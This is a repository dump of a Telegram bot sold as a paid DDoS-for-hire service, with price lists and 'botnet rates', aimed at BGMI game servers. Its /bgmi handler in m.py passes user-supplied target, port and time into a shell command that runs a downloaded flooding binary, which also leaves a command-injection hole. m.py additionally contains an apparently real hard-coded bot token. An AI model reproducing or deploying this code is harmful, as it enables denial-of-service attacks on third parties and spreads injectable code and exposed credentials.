├── README.md
├── README.md.bak
├── bgmi
├── keep_alive.py
├── m.py
├── requirement.txt
├── tatti
└── venom.py


/README.md:
--------------------------------------------------------------------------------
  1 | # DDoS Attack Bot
  2 | 
  3 | This repository contains a Telegram bot designed to perform DDoS attacks. The bot allows authorized users to initiate attacks against specified targets. It includes various commands for managing users, logging activities, and viewing information about attacks. 
  4 | 
  5 | ## Features
  6 | 
  7 | - **User Management**: Add, remove, and view authorized users.
  8 | - **Command Logging**: Log details of each command executed by users.
  9 | - **Attack Commands**: Initiate DDoS attacks with specified parameters.
 10 | - **Cooldown Management**: Prevent users from running multiple commands in quick succession.
 11 | - **Admin Commands**: Special commands for admins to manage the bot and its users.
 12 | - **Broadcast Messages**: Admins can send messages to all authorized users.
 13 | 
 14 | ## Prerequisites
 15 | -github codespaces ( 4 core)
 16 | - Python 3.x
 17 | - `telebot` library
 18 | - Telegram Bot Token (You Can Use Botfather)
 19 | 
 20 | ## Getting Started
 21 | 
 22 | ### Installation
 23 | 
 24 | 1. Clone the repository:
 25 | 
 26 |    ```sh
 27 |    git clone https://github.com/VENOMxCRAZYOP/VENOMxDDOS
 28 |    cd VENOMxDDOS
 29 |    ```
 30 | 
 31 | 2. Install the required libraries:
 32 | 
 33 |    ```sh
 34 |    pip install telebot
 35 |    pip install flask
 36 |    pip install aiogram
 37 |    pip install pyTelegramBotAPI
 38 |    ```
 39 | 
 40 | ### Configuration
 41 | 
 42 | 1. Create a bot on Telegram and obtain your bot token.
 43 | 
 44 | 2. Replace the placeholder token in the script with your actual bot token:
 45 | 
 46 |    ```python
 47 |    bot = telebot.TeleBot('YOUR_BOT_TOKEN')
 48 |    ```
 49 | 
 50 | 3. Add your admin user IDs in the `admin_id` list:
 51 | 
 52 |    ```python
 53 |    admin_id = ["YOUR_ADMIN_ID"]
 54 |    ```
 55 | 
 56 | ### Usage
 57 | 
 58 | 1. Run the bot:
 59 | 
 60 |    ```sh
 61 |    chmod +x *
 62 |    python venom.py
 63 |    ```
 64 | 
 65 | 2. Interact with the bot on Telegram using the available commands.
 66 | 
 67 | ## Bot Commands
 68 | 
 69 | ### User Commands
 70 | 
 71 | - `/start` - Welcome message.
 72 | - `/help` - Display help information and available commands.
 73 | - `/bgmi <target> <port> <time>` - Initiate a DDoS attack on the specified target.
 74 | - `/rules` - Display rules for using the bot.
 75 | - `/plan` - Display available plans and pricing.
 76 | - `/mylogs` - Show recent command logs for the user.
 77 | - `/myinfo` - Display user's information and approval status.
 78 | 
 79 | ### Admin Commands
 80 | 
 81 | - `/add <userId> <duration>` - Add a user with a specified approval duration.
 82 | - `/remove <userId>` - Remove a user from the authorized list.
 83 | - `/allusers` - Display all authorized users.
 84 | - `/logs` - Display logs of all commands executed by users.
 85 | - `/clearlogs` - Clear the command logs.
 86 | - `/clearusers` - Clear the list of authorized users.
 87 | - `/broadcast <message>` - Send a broadcast message to all authorized users.
 88 | 
 89 | ## File Structure
 90 | 
 91 | - `ddos_bot.py` - Main bot script containing all functionalities.
 92 | - `users.txt` - File to store allowed user IDs.
 93 | - `log.txt` - File to store command logs.
 94 | - `keep_alive.py` - Script to keep the bot running (e.g., for use with Repl.it).
 95 | 
 96 | ## Logging
 97 | 
 98 | The bot logs details of each command executed by users, including user ID, command, target, port, and time. Logs are stored in the `log.txt` file.
 99 | 
100 | ## User Management
101 | 
102 | The bot supports adding and removing authorized users, as well as setting approval expiry dates for each user. Admins can view the list of all authorized users and clear the user list if needed.
103 | 
104 | ## License
105 | 
106 | This project is licensed under the MIT License.
107 | 
108 | ## Disclaimer
109 | 
110 | This bot is intended for educational purposes only. The misuse of this bot may result in legal consequences. The author is not responsible for any misuse of this bot.
111 | 
112 | ---
113 | 
114 | **Note**: Replace `YOUR_BOT_TOKEN` and `YOUR_ADMIN_ID` with your actual bot token and admin user ID before running the bot. Ensure that you comply with all legal regulations and use this bot responsibly.
115 | 
116 | ## Contributing
117 | 
118 | If you wish to contribute to this project, feel free to submit a pull request or open an issue on GitHub.
119 | 
120 | ## Contact
121 | 
122 | For any queries or support, contact [venomXcrazy](https://t.me/venomXcrazy) on Telegram. 
123 | 
124 | ---
125 | 
126 | Happy DDoS'ing responsibly! 🚀
127 | 


--------------------------------------------------------------------------------
/README.md.bak:
--------------------------------------------------------------------------------
  1 | # DDoS Attack Bot
  2 | 
  3 | This repository contains a Telegram bot designed to perform DDoS attacks. The bot allows authorized users to initiate attacks against specified targets. It includes various commands for managing users, logging activities, and viewing information about attacks. 
  4 | 
  5 | ## Features
  6 | 
  7 | - **User Management**: Add, remove, and view authorized users.
  8 | - **Command Logging**: Log details of each command executed by users.
  9 | - **Attack Commands**: Initiate DDoS attacks with specified parameters.
 10 | - **Cooldown Management**: Prevent users from running multiple commands in quick succession.
 11 | - **Admin Commands**: Special commands for admins to manage the bot and its users.
 12 | - **Broadcast Messages**: Admins can send messages to all authorized users.
 13 | 
 14 | ## Prerequisites
 15 | -github codespaces ( 4 core)
 16 | - Python 3.x
 17 | - `telebot` library
 18 | - Telegram Bot Token (You Can Use Botfather)
 19 | 
 20 | ## Getting Started
 21 | 
 22 | ### Installation
 23 | 
 24 | 1. Clone the repository:
 25 | 
 26 |    ```sh
 27 |    git clone https://github.com/yourusername/ddos-attack-bot.git
 28 |    cd ddos-attack-bot
 29 |    ```
 30 | 
 31 | 2. Install the required libraries:
 32 | 
 33 |    ```sh
 34 |    pip install telebot
 35 |    pip install flask
 36 |    pip install aiogram
 37 |    ```
 38 | 
 39 | ### Configuration
 40 | 
 41 | 1. Create a bot on Telegram and obtain your bot token.
 42 | 
 43 | 2. Replace the placeholder token in the script with your actual bot token:
 44 | 
 45 |    ```python
 46 |    bot = telebot.TeleBot('YOUR_BOT_TOKEN')
 47 |    ```
 48 | 
 49 | 3. Add your admin user IDs in the `admin_id` list:
 50 | 
 51 |    ```python
 52 |    admin_id = ["YOUR_ADMIN_ID"]
 53 |    ```
 54 | 
 55 | ### Usage
 56 | 
 57 | 1. Run the bot:
 58 | 
 59 |    ```sh
 60 |    chmod +x *
 61 |    python watcher.py
 62 |    ```
 63 | 
 64 | 2. Interact with the bot on Telegram using the available commands.
 65 | 
 66 | ## Bot Commands
 67 | 
 68 | ### User Commands
 69 | 
 70 | - `/start` - Welcome message.
 71 | - `/help` - Display help information and available commands.
 72 | - `/bgmi <target> <port> <time>` - Initiate a DDoS attack on the specified target.
 73 | - `/rules` - Display rules for using the bot.
 74 | - `/plan` - Display available plans and pricing.
 75 | - `/mylogs` - Show recent command logs for the user.
 76 | - `/myinfo` - Display user's information and approval status.
 77 | 
 78 | ### Admin Commands
 79 | 
 80 | - `/add <userId> <duration>` - Add a user with a specified approval duration.
 81 | - `/remove <userId>` - Remove a user from the authorized list.
 82 | - `/allusers` - Display all authorized users.
 83 | - `/logs` - Display logs of all commands executed by users.
 84 | - `/clearlogs` - Clear the command logs.
 85 | - `/clearusers` - Clear the list of authorized users.
 86 | - `/broadcast <message>` - Send a broadcast message to all authorized users.
 87 | 
 88 | ## File Structure
 89 | 
 90 | - `ddos_bot.py` - Main bot script containing all functionalities.
 91 | - `users.txt` - File to store allowed user IDs.
 92 | - `log.txt` - File to store command logs.
 93 | - `keep_alive.py` - Script to keep the bot running (e.g., for use with Repl.it).
 94 | 
 95 | ## Logging
 96 | 
 97 | The bot logs details of each command executed by users, including user ID, command, target, port, and time. Logs are stored in the `log.txt` file.
 98 | 
 99 | ## User Management
100 | 
101 | The bot supports adding and removing authorized users, as well as setting approval expiry dates for each user. Admins can view the list of all authorized users and clear the user list if needed.
102 | 
103 | ## License
104 | 
105 | This project is licensed under the MIT License.
106 | 
107 | ## Disclaimer
108 | 
109 | This bot is intended for educational purposes only. The misuse of this bot may result in legal consequences. The author is not responsible for any misuse of this bot.
110 | 
111 | ---
112 | 
113 | **Note**: Replace `YOUR_BOT_TOKEN` and `YOUR_ADMIN_ID` with your actual bot token and admin user ID before running the bot. Ensure that you comply with all legal regulations and use this bot responsibly.
114 | 
115 | ## Contributing
116 | 
117 | If you wish to contribute to this project, feel free to submit a pull request or open an issue on GitHub.
118 | 
119 | ## Contact
120 | 
121 | For any queries or support, contact [venomXcrazy](https://t.me/venomXcrazy) on Telegram. 
122 | 
123 | ---
124 | 
125 | Happy DDoS'ing responsibly! 🚀
126 | 


--------------------------------------------------------------------------------
/bgmi:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/VENOM-CRAZY-OP/venom-v1/0b7ae3c1b02279729977b15971490c7126d30c13/bgmi


--------------------------------------------------------------------------------
/keep_alive.py:
--------------------------------------------------------------------------------
 1 | from flask import Flask, render_template
 2 | from threading import Thread
 3 | 
 4 | app = Flask(__name__)
 5 | @app.route('/')
 6 | def index():
 7 |     return "Alive"
 8 | 
 9 | def run():
10 |     app.run(host='0.0.0.0',port=8080)
11 | 
12 | def keep_alive():
13 |     t = Thread(target=run)
14 |     t.start()    


--------------------------------------------------------------------------------
/m.py:
--------------------------------------------------------------------------------
  1 | #script by @venomXcrazy
  2 | 
  3 | import telebot
  4 | import subprocess
  5 | import datetime
  6 | import os
  7 | 
  8 | from keep_alive import keep_alive
  9 | keep_alive()
 10 | # insert your Telegram bot token here
 11 | bot = telebot.TeleBot('7259034553:AAHYWdbEpMxeJAkv_HH1QYOChdMLMvot13E')
 12 | 
 13 | # Admin user IDs
 14 | admin_id = ["5588464519"]
 15 | 
 16 | # File to store allowed user IDs
 17 | USER_FILE = "users.txt"
 18 | 
 19 | # File to store command logs
 20 | LOG_FILE = "log.txt"
 21 | 
 22 | # Function to read user IDs from the file
 23 | def read_users():
 24 |     try:
 25 |         with open(USER_FILE, "r") as file:
 26 |             return file.read().splitlines()
 27 |     except FileNotFoundError:
 28 |         return []
 29 | 
 30 | # Function to read free user IDs and their credits from the file
 31 | def read_free_users():
 32 |     try:
 33 |         with open(FREE_USER_FILE, "r") as file:
 34 |             lines = file.read().splitlines()
 35 |             for line in lines:
 36 |                 if line.strip():  # Check if line is not empty
 37 |                     user_info = line.split()
 38 |                     if len(user_info) == 2:
 39 |                         user_id, credits = user_info
 40 |                         free_user_credits[user_id] = int(credits)
 41 |                     else:
 42 |                         print(f"Ignoring invalid line in free user file: {line}")
 43 |     except FileNotFoundError:
 44 |         pass
 45 | 
 46 | # List to store allowed user IDs
 47 | allowed_user_ids = read_users()
 48 | 
 49 | # Function to log command to the file
 50 | def log_command(user_id, target, port, time):
 51 |     admin_id = ["5588464519"]
 52 |     user_info = bot.get_chat(user_id)
 53 |     if user_info.username:
 54 |         username = "@" + user_info.username
 55 |     else:
 56 |         username = f"UserID: {user_id}"
 57 |     
 58 |     with open(LOG_FILE, "a") as file:  # Open in "append" mode
 59 |         file.write(f"Username: {username}\nTarget: {target}\nPort: {port}\nTime: {time}\n\n")
 60 | 
 61 | # Function to clear logs
 62 | def clear_logs():
 63 |     try:
 64 |         with open(LOG_FILE, "r+") as file:
 65 |             if file.read() == "":
 66 |                 response = "Logs are already cleared. No data found ❌."
 67 |             else:
 68 |                 file.truncate(0)
 69 |                 response = "Logs cleared successfully ✅"
 70 |     except FileNotFoundError:
 71 |         response = "No logs found to clear."
 72 |     return response
 73 | 
 74 | # Function to record command logs
 75 | def record_command_logs(user_id, command, target=None, port=None, time=None):
 76 |     log_entry = f"UserID: {user_id} | Time: {datetime.datetime.now()} | Command: {command}"
 77 |     if target:
 78 |         log_entry += f" | Target: {target}"
 79 |     if port:
 80 |         log_entry += f" | Port: {port}"
 81 |     if time:
 82 |         log_entry += f" | Time: {time}"
 83 |     
 84 |     with open(LOG_FILE, "a") as file:
 85 |         file.write(log_entry + "\n")
 86 | 
 87 | import datetime
 88 | 
 89 | # Dictionary to store the approval expiry date for each user
 90 | user_approval_expiry = {}
 91 | 
 92 | # Function to calculate remaining approval time
 93 | def get_remaining_approval_time(user_id):
 94 |     expiry_date = user_approval_expiry.get(user_id)
 95 |     if expiry_date:
 96 |         remaining_time = expiry_date - datetime.datetime.now()
 97 |         if remaining_time.days < 0:
 98 |             return "Expired"
 99 |         else:
100 |             return str(remaining_time)
101 |     else:
102 |         return "N/A"
103 | 
104 | # Function to add or update user approval expiry date
105 | def set_approval_expiry_date(user_id, duration, time_unit):
106 |     current_time = datetime.datetime.now()
107 |     if time_unit == "hour" or time_unit == "hours":
108 |         expiry_date = current_time + datetime.timedelta(hours=duration)
109 |     elif time_unit == "day" or time_unit == "days":
110 |         expiry_date = current_time + datetime.timedelta(days=duration)
111 |     elif time_unit == "week" or time_unit == "weeks":
112 |         expiry_date = current_time + datetime.timedelta(weeks=duration)
113 |     elif time_unit == "month" or time_unit == "months":
114 |         expiry_date = current_time + datetime.timedelta(days=30 * duration)  # Approximation of a month
115 |     else:
116 |         return False
117 |     
118 |     user_approval_expiry[user_id] = expiry_date
119 |     return True
120 | 
121 | # Command handler for adding a user with approval time
122 | @bot.message_handler(commands=['add'])
123 | def add_user(message):
124 |     user_id = str(message.chat.id)
125 |     if user_id in admin_id:
126 |         command = message.text.split()
127 |         if len(command) > 2:
128 |             user_to_add = command[1]
129 |             duration_str = command[2]
130 | 
131 |             try:
132 |                 duration = int(duration_str[:-4])  # Extract the numeric part of the duration
133 |                 if duration <= 0:
134 |                     raise ValueError
135 |                 time_unit = duration_str[-4:].lower()  # Extract the time unit (e.g., 'hour', 'day', 'week', 'month')
136 |                 if time_unit not in ('hour', 'hours', 'day', 'days', 'week', 'weeks', 'month', 'months'):
137 |                     raise ValueError
138 |             except ValueError:
139 |                 response = "Invalid duration format. Please provide a positive integer followed by 'hour(s)', 'day(s)', 'week(s)', or 'month(s)'."
140 |                 bot.reply_to(message, response)
141 |                 return
142 | 
143 |             if user_to_add not in allowed_user_ids:
144 |                 allowed_user_ids.append(user_to_add)
145 |                 with open(USER_FILE, "a") as file:
146 |                     file.write(f"{user_to_add}\n")
147 |                 if set_approval_expiry_date(user_to_add, duration, time_unit):
148 |                     response = f"User {user_to_add} added successfully for {duration} {time_unit}. Access will expire on {user_approval_expiry[user_to_add].strftime('%Y-%m-%d %H:%M:%S')} 👍."
149 |                 else:
150 |                     response = "Failed to set approval expiry date. Please try again later."
151 |             else:
152 |                 response = "User already exists 🤦‍♂️."
153 |         else:
154 |             response = "Please specify a user ID and the duration (e.g., 1hour, 2days, 3weeks, 4months) to add 😘."
155 |     else:
156 |         response = "You have not purchased yet purchase now from:- @venomXcrazy."
157 | 
158 |     bot.reply_to(message, response)
159 | 
160 | # Command handler for retrieving user info
161 | @bot.message_handler(commands=['myinfo'])
162 | def get_user_info(message):
163 |     user_id = str(message.chat.id)
164 |     user_info = bot.get_chat(user_id)
165 |     username = user_info.username if user_info.username else "N/A"
166 |     user_role = "Admin" if user_id in admin_id else "User"
167 |     remaining_time = get_remaining_approval_time(user_id)
168 |     response = f"👤 Your Info:\n\n🆔 User ID: <code>{user_id}</code>\n📝 Username: {username}\n🔖 Role: {user_role}\n📅 Approval Expiry Date: {user_approval_expiry.get(user_id, 'Not Approved')}\n⏳ Remaining Approval Time: {remaining_time}"
169 |     bot.reply_to(message, response, parse_mode="HTML")
170 | 
171 | 
172 | 
173 | @bot.message_handler(commands=['remove'])
174 | def remove_user(message):
175 |     user_id = str(message.chat.id)
176 |     if user_id in admin_id:
177 |         command = message.text.split()
178 |         if len(command) > 1:
179 |             user_to_remove = command[1]
180 |             if user_to_remove in allowed_user_ids:
181 |                 allowed_user_ids.remove(user_to_remove)
182 |                 with open(USER_FILE, "w") as file:
183 |                     for user_id in allowed_user_ids:
184 |                         file.write(f"{user_id}\n")
185 |                 response = f"User {user_to_remove} removed successfully 👍."
186 |             else:
187 |                 response = f"User {user_to_remove} not found in the list ❌."
188 |         else:
189 |             response = '''Please Specify A User ID to Remove. 
190 | ✅ Usage: /remove <userid>'''
191 |     else:
192 |         response = "You have not purchased yet purchase now from:- @venomXcrazy 🙇."
193 | 
194 |     bot.reply_to(message, response)
195 | 
196 | @bot.message_handler(commands=['clearlogs'])
197 | def clear_logs_command(message):
198 |     user_id = str(message.chat.id)
199 |     if user_id in admin_id:
200 |         try:
201 |             with open(LOG_FILE, "r+") as file:
202 |                 log_content = file.read()
203 |                 if log_content.strip() == "":
204 |                     response = "Logs are already cleared. No data found ❌."
205 |                 else:
206 |                     file.truncate(0)
207 |                     response = "Logs Cleared Successfully ✅"
208 |         except FileNotFoundError:
209 |             response = "Logs are already cleared ❌."
210 |     else:
211 |         response = "You have not purchased yet purchase now from :- @venomXcrazy ❄."
212 |     bot.reply_to(message, response)
213 | 
214 | 
215 | @bot.message_handler(commands=['clearusers'])
216 | def clear_users_command(message):
217 |     user_id = str(message.chat.id)
218 |     if user_id in admin_id:
219 |         try:
220 |             with open(USER_FILE, "r+") as file:
221 |                 log_content = file.read()
222 |                 if log_content.strip() == "":
223 |                     response = "USERS are already cleared. No data found ❌."
224 |                 else:
225 |                     file.truncate(0)
226 |                     response = "users Cleared Successfully ✅"
227 |         except FileNotFoundError:
228 |             response = "users are already cleared ❌."
229 |     else:
230 |         response = "ꜰʀᴇᴇ ᴋᴇ ᴅʜᴀʀᴍ ꜱʜᴀʟᴀ ʜᴀɪ ᴋʏᴀ ᴊᴏ ᴍᴜ ᴜᴛᴛʜᴀ ᴋᴀɪ ᴋʜɪ ʙʜɪ ɢᴜꜱ ʀʜᴀɪ ʜᴏ ʙᴜʏ ᴋʀᴏ ꜰʀᴇᴇ ᴍᴀɪ ᴋᴜᴄʜ ɴʜɪ ᴍɪʟᴛᴀ ʙᴜʏ:- @venomXcrazy 🙇."
231 |     bot.reply_to(message, response)
232 |  
233 | 
234 | @bot.message_handler(commands=['allusers'])
235 | def show_all_users(message):
236 |     user_id = str(message.chat.id)
237 |     if user_id in admin_id:
238 |         try:
239 |             with open(USER_FILE, "r") as file:
240 |                 user_ids = file.read().splitlines()
241 |                 if user_ids:
242 |                     response = "Authorized Users:\n"
243 |                     for user_id in user_ids:
244 |                         try:
245 |                             user_info = bot.get_chat(int(user_id))
246 |                             username = user_info.username
247 |                             response += f"- @{username} (ID: {user_id})\n"
248 |                         except Exception as e:
249 |                             response += f"- User ID: {user_id}\n"
250 |                 else:
251 |                     response = "No data found ❌"
252 |         except FileNotFoundError:
253 |             response = "No data found ❌"
254 |     else:
255 |         response = "ꜰʀᴇᴇ ᴋᴇ ᴅʜᴀʀᴍ ꜱʜᴀʟᴀ ʜᴀɪ ᴋʏᴀ ᴊᴏ ᴍᴜ ᴜᴛᴛʜᴀ ᴋᴀɪ ᴋʜɪ ʙʜɪ ɢᴜꜱ ʀʜᴀɪ ʜᴏ ʙᴜʏ ᴋʀᴏ ꜰʀᴇᴇ ᴍᴀɪ ᴋᴜᴄʜ ɴʜɪ ᴍɪʟᴛᴀ ʙᴜʏ:- @venomXcrazy ❄."
256 |     bot.reply_to(message, response)
257 | 
258 | @bot.message_handler(commands=['logs'])
259 | def show_recent_logs(message):
260 |     user_id = str(message.chat.id)
261 |     if user_id in admin_id:
262 |         if os.path.exists(LOG_FILE) and os.stat(LOG_FILE).st_size > 0:
263 |             try:
264 |                 with open(LOG_FILE, "rb") as file:
265 |                     bot.send_document(message.chat.id, file)
266 |             except FileNotFoundError:
267 |                 response = "No data found ❌."
268 |                 bot.reply_to(message, response)
269 |         else:
270 |             response = "No data found ❌"
271 |             bot.reply_to(message, response)
272 |     else:
273 |         response = "ꜰʀᴇᴇ ᴋᴇ ᴅʜᴀʀᴍ ꜱʜᴀʟᴀ ʜᴀɪ ᴋʏᴀ ᴊᴏ ᴍᴜ ᴜᴛᴛʜᴀ ᴋᴀɪ ᴋʜɪ ʙʜɪ ɢᴜꜱ ʀʜᴀɪ ʜᴏ ʙᴜʏ ᴋʀᴏ ꜰʀᴇᴇ ᴍᴀɪ ᴋᴜᴄʜ ɴʜɪ ᴍɪʟᴛᴀ ʙᴜʏ:- @venomXcrazy ❄."
274 |         bot.reply_to(message, response)
275 | 
276 | 
277 | # Function to handle the reply when free users run the /bgmi command
278 | def start_attack_reply(message, target, port, time):
279 |     user_info = message.from_user
280 |     username = user_info.username if user_info.username else user_info.first_name
281 |     
282 |     response = f"{username}, 𝐀𝐓𝐓𝐀𝐂𝐊 𝐒𝐓𝐀𝐑𝐓𝐄𝐃.🔥🔥\n\n𝐓𝐚𝐫𝐠𝐞𝐭: {target}\n𝐏𝐨𝐫𝐭: {port}\n𝐓𝐢𝐦𝐞: {time} 𝐒𝐞𝐜𝐨𝐧𝐝𝐬\n𝐌𝐞𝐭𝐡𝐨𝐝: VIP- User of @venomXcrazy"
283 |     bot.reply_to(message, response)
284 | 
285 | # Dictionary to store the last time each user ran the /bgmi command
286 | bgmi_cooldown = {}
287 | 
288 | COOLDOWN_TIME =0
289 | 
290 | # Handler for /bgmi command
291 | @bot.message_handler(commands=['bgmi'])
292 | def handle_bgmi(message):
293 |     user_id = str(message.chat.id)
294 |     if user_id in allowed_user_ids:
295 |         # Check if the user is in admin_id (admins have no cooldown)
296 |         if user_id not in admin_id:
297 |             # Check if the user has run the command before and is still within the cooldown period
298 |             if user_id in bgmi_cooldown and (datetime.datetime.now() - bgmi_cooldown[user_id]).seconds < COOLDOWN_TIME:
299 |                 response = "You Are On Cooldown ❌. Please Wait 10sec Before Running The /bgmi Command Again."
300 |                 bot.reply_to(message, response)
301 |                 return
302 |             # Update the last time the user ran the command
303 |             bgmi_cooldown[user_id] = datetime.datetime.now()
304 |         
305 |         command = message.text.split()
306 |         if len(command) == 4:  # Updated to accept target, time, and port
307 |             target = command[1]
308 |             port = int(command[2])  # Convert port to integer
309 |             time = int(command[3])  # Convert time to integer
310 |             if time > 600:
311 |                 response = "Error: Time interval must be less than 600."
312 |             else:
313 |                 record_command_logs(user_id, '/bgmi', target, port, time)
314 |                 log_command(user_id, target, port, time)
315 |                 start_attack_reply(message, target, port, time)  # Call start_attack_reply function
316 |                 full_command = f"./bgmi {target} {port} {time} 110"
317 |                 process = subprocess.run(full_command, shell=True)
318 |                 response = f"BGMI Attack Finished. Target: {target} Port: {port} Time: {time}"
319 |                 bot.reply_to(message, response)  # Notify the user that the attack is finished
320 |         else:
321 |             response = "✅ Usage :- /bgmi <target> <port> <time>"  # Updated command syntax
322 |     else:
323 |         response = ("🚫 Unauthorized Access! 🚫\n\nOops! It seems like you don't have permission to use the /bgmi command. DM TO BUY ACCESS:- @venomXcrazy")
324 | 
325 |     bot.reply_to(message, response)
326 | 
327 | 
328 | # Add /mylogs command to display logs recorded for bgmi and website commands
329 | @bot.message_handler(commands=['mylogs'])
330 | def show_command_logs(message):
331 |     user_id = str(message.chat.id)
332 |     if user_id in allowed_user_ids:
333 |         try:
334 |             with open(LOG_FILE, "r") as file:
335 |                 command_logs = file.readlines()
336 |                 user_logs = [log for log in command_logs if f"UserID: {user_id}" in log]
337 |                 if user_logs:
338 |                     response = "Your Command Logs:\n" + "".join(user_logs)
339 |                 else:
340 |                     response = "❌ No Command Logs Found For You ❌."
341 |         except FileNotFoundError:
342 |             response = "No command logs found."
343 |     else:
344 |         response = "You Are Not Authorized To Use This Command 😡."
345 | 
346 |     bot.reply_to(message, response)
347 | 
348 | @bot.message_handler(commands=['help'])
349 | def show_help(message):
350 |     help_text ='''🤖 Available commands:
351 | 💥 /bgmi : Method For Bgmi Servers. 
352 | 💥 /rules : Please Check Before Use !!.
353 | 💥 /mylogs : To Check Your Recents Attacks.
354 | 💥 /plan : Checkout Our Botnet Rates.
355 | 💥 /myinfo : TO Check Your WHOLE INFO.
356 | 
357 | 🤖 To See Admin Commands:
358 | 💥 /admincmd : Shows All Admin Commands.
359 | 
360 | Buy From :- @venomXcrazy
361 | Official Channel :- https://t.me/V3NOM_CH3AT
362 | '''
363 |     for handler in bot.message_handlers:
364 |         if hasattr(handler, 'commands'):
365 |             if message.text.startswith('/help'):
366 |                 help_text += f"{handler.commands[0]}: {handler.doc}\n"
367 |             elif handler.doc and 'admin' in handler.doc.lower():
368 |                 continue
369 |             else:
370 |                 help_text += f"{handler.commands[0]}: {handler.doc}\n"
371 |     bot.reply_to(message, help_text)
372 | 
373 | @bot.message_handler(commands=['start'])
374 | def welcome_start(message):
375 |     user_name = message.from_user.first_name
376 |     response = f'''❄️ᴡᴇʟᴄᴏᴍᴇ ᴛᴏ ᴘʀᴇᴍɪᴜᴍ ᴅᴅᴏs ʙᴏᴛ, {user_name}! ᴛʜɪs ɪs ʜɪɢʜ ǫᴜᴀʟɪᴛʏ sᴇʀᴠᴇʀ ʙᴀsᴇᴅ ᴅᴅᴏs. ᴛᴏ ɢᴇᴛ ᴀᴄᴄᴇss.
377 | 🤖Try To Run This Command : /help 
378 | ✅BUY :- @venomXcrazy'''
379 |     bot.reply_to(message, response)
380 | 
381 | @bot.message_handler(commands=['rules'])
382 | def welcome_rules(message):
383 |     user_name = message.from_user.first_name
384 |     response = f'''{user_name} Please Follow These Rules ⚠️:
385 | 
386 | 1. Dont Run Too Many Attacks !! Cause A Ban From Bot
387 | 2. Dont Run 2 Attacks At Same Time Becz If U Then U Got Banned From Bot.
388 | 3. MAKE SURE YOU JOINED https://t.me/venomcha7 OTHERWISE NOT WORK
389 | 4. We Daily Checks The Logs So Follow these rules to avoid Ban!!'''
390 |     bot.reply_to(message, response)
391 | 
392 | @bot.message_handler(commands=['plan'])
393 | def welcome_plan(message):
394 |     user_name = message.from_user.first_name
395 |     response = f'''{user_name}, Brother Only 1 Plan Is Powerfull Then Any Other Ddos !!:
396 | 
397 | Vip 🌟 :
398 | -> Attack Time : 300 (S)
399 | > After Attack Limit : 10 sec
400 | -> Concurrents Attack : 5
401 | 
402 | Pr-ice List💸 :
403 | Day-->80 Rs
404 | Week-->400 Rs
405 | Month-->1000 Rs
406 | '''
407 |     bot.reply_to(message, response)
408 | 
409 | @bot.message_handler(commands=['admincmd'])
410 | def welcome_plan(message):
411 |     user_name = message.from_user.first_name
412 |     response = f'''{user_name}, Admin Commands Are Here!!:
413 | 
414 | 💥 /add <userId> : Add a User.
415 | 💥 /remove <userid> Remove a User.
416 | 💥 /allusers : Authorised Users Lists.
417 | 💥 /logs : All Users Logs.
418 | 💥 /broadcast : Broadcast a Message.
419 | 💥 /clearlogs : Clear The Logs File.
420 | 💥 /clearusers : Clear The USERS File.
421 | '''
422 |     bot.reply_to(message, response)
423 | 
424 | @bot.message_handler(commands=['broadcast'])
425 | def broadcast_message(message):
426 |     user_id = str(message.chat.id)
427 |     if user_id in admin_id:
428 |         command = message.text.split(maxsplit=1)
429 |         if len(command) > 1:
430 |             message_to_broadcast = "⚠️ Message To All Users By Admin:\n\n" + command[1]
431 |             with open(USER_FILE, "r") as file:
432 |                 user_ids = file.read().splitlines()
433 |                 for user_id in user_ids:
434 |                     try:
435 |                         bot.send_message(user_id, message_to_broadcast)
436 |                     except Exception as e:
437 |                         print(f"Failed to send broadcast message to user {user_id}: {str(e)}")
438 |             response = "Broadcast Message Sent Successfully To All Users 👍."
439 |         else:
440 |             response = "🤖 Please Provide A Message To Broadcast."
441 |     else:
442 |         response = "Only Admin Can Run This Command 😡."
443 | 
444 |     bot.reply_to(message, response)
445 | 
446 | 
447 | 
448 | #bot.polling()
449 | while True:
450 |     try:
451 |         bot.polling(none_stop=True)
452 |     except Exception as e:
453 |         print(e)
454 | 
455 | 
456 | 


--------------------------------------------------------------------------------
/requirement.txt:
--------------------------------------------------------------------------------
1 | telebot
2 | Flask
3 | aiogram
4 | pip install -r requirement.txt
5 | 


--------------------------------------------------------------------------------
/tatti:
--------------------------------------------------------------------------------
1 | while true # start an infinite loop
2 | do
3 |   echo "HELLO" # print "HELLO"
4 |   sleep 1 # wait for 1 second
5 | done # end the loop
6 | 


--------------------------------------------------------------------------------
/venom.py:
--------------------------------------------------------------------------------
 1 | import subprocess
 2 | import time
 3 | import logging
 4 | from aiogram import Bot
 5 | import asyncio
 6 | 
 7 | API_TOKEN = 'TOKEN'
 8 | ADMIN_ID = 'YOUR ID'
 9 | MAX_RESTARTS = 5
10 | RESTART_PERIOD = 60  # Seconds
11 | 
12 | logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
13 | bot = Bot(API_TOKEN)
14 | 
15 | def start_bot():
16 |     """Start the bot script as a subprocess."""
17 |     return subprocess.Popen(['python', 'm.py'])
18 | 
19 | async def notify_admin(message):
20 |     """Send a notification message to the admin via Telegram."""
21 |     try:
22 |         await bot.send_message(ADMIN_ID, message)
23 |         logging.info("Admin notified: %s", message)
24 |     except Exception as e:
25 |         logging.error("Failed to send message to admin: %s", e)
26 | 
27 | async def main():
28 |     """Main function to manage bot process lifecycle."""
29 |     restart_count = 0
30 |     last_restart_time = time.time()
31 |     
32 |     while True:
33 |         if restart_count >= MAX_RESTARTS:
34 |             current_time = time.time()
35 |             if current_time - last_restart_time < RESTART_PERIOD:
36 |                 wait_time = RESTART_PERIOD - (current_time - last_restart_time)
37 |                 logging.warning("Maximum restart limit reached. Waiting for %.2f seconds...", wait_time)
38 |                 await notify_admin(f"⚠️ Maximum restart limit reached. Waiting for {int(wait_time)} seconds before retrying.")
39 |                 await asyncio.sleep(wait_time)
40 |             restart_count = 0
41 |             last_restart_time = time.time()
42 | 
43 |         logging.info("Starting the bot...")
44 |         process = start_bot()
45 |         await notify_admin("🚀 Bot is starting...")
46 | 
47 |         while process.poll() is None:
48 |             await asyncio.sleep(5)
49 |         
50 |         logging.warning("Bot process terminated. Restarting in 10 seconds...")
51 |         await notify_admin("⚠️ The bot has crashed and will be restarted in 10 seconds.")
52 |         restart_count += 1
53 |         await asyncio.sleep(10)
54 |         
55 | 
56 | if __name__ == '__main__':
57 |     try:
58 |         asyncio.run(main())
59 |     except KeyboardInterrupt:
60 |         logging.info("Venom script terminated by user.")
61 | 


--------------------------------------------------------------------------------